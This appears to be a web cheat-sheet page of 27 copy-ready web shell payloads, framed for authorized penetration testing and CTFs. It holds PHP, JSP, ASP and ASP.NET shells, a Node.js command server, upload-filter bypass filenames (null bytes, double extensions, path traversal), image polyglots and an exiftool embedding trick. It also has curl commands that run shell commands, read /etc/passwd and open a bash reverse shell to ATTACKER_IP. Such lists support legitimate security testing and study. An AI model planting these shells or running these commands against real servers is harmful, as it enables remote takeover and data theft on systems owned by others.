Minimal web shells, system() one-liners, upload filter bypasses, and post-upload command execution for authorized penetration testing and CTF engagements. (27 payloads)
<?php system($_GET['cmd']); ?><?php echo shell_exec($_REQUEST['c']); ?><%@ page import="java.util.*,java.io.*" %><% Process p=Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while((l=d.readLine())!=null){out.println(l);} %><jsp:scriptlet>Runtime.getRuntime().exec(request.getParameter("cmd"));</jsp:scriptlet><% Response.Write(CreateObject("WScript.Shell").Exec("cmd /c " & Request.QueryString("cmd")).StdOut.ReadAll()) %><%@ Page Language="C#" %><% System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName="cmd.exe"; p.StartInfo.Arguments="/c "+Request["cmd"]; p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.Start(); Response.Write("<pre>"+p.StandardOutput.ReadToEnd()+"</pre>"); %>require('http').createServer((q,r)=>require('child_process').exec(require('url').parse(q.url,true).query.cmd,(e,o)=>r.end(o))).listen(8888)<?php passthru($_GET['cmd']); ?><?php echo `$_GET[cmd]`; ?><?=`$_GET[0]`?><?php if(isset($_GET['cmd'])){echo '<pre>';$c=$_GET['cmd'];system($c);echo '</pre>';} ?><?php eval($_POST['x']); ?><%= Runtime.getRuntime().exec(request.getParameter("c")) %>shell.php5 / shell.phtml / shell.pht / shell.pharshell.pHp / shell.PHP / shell.Php5shell.php.jpg / shell.jpg.phpshell.php%00.jpg / shell.php\x00.jpgshell.php..... / shell.php%20 / shell.php::$DATAPOST /upload ... Content-Disposition: form-data; name="file"; filename="shell.jpg" -> rename via path traversal: filename="../shell.php"Content-Type: image/jpeg (on the multipart part for shell.php)GIF89a;\n<?php system($_GET['cmd']); ?>\xFF\xD8\xFF\xE0 ... <?php system($_GET['cmd']); ?>exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.php.jpgcurl 'http://target/uploads/shell.php?cmd=id'curl -s 'http://target/shell.php' --data 'c=cat /etc/passwd'curl 'http://target/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%27'curl 'http://target/shell.jsp.jpg/.jsp?cmd=whoami' (semicolon/path trick: /shell.jsp;.jpg)Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 27 Web Shells payloads for testing Web Shell vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the File Upload generator to build customized Web Shells variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Web Shells payloads are completely free, with no account required. Everything runs in your browser.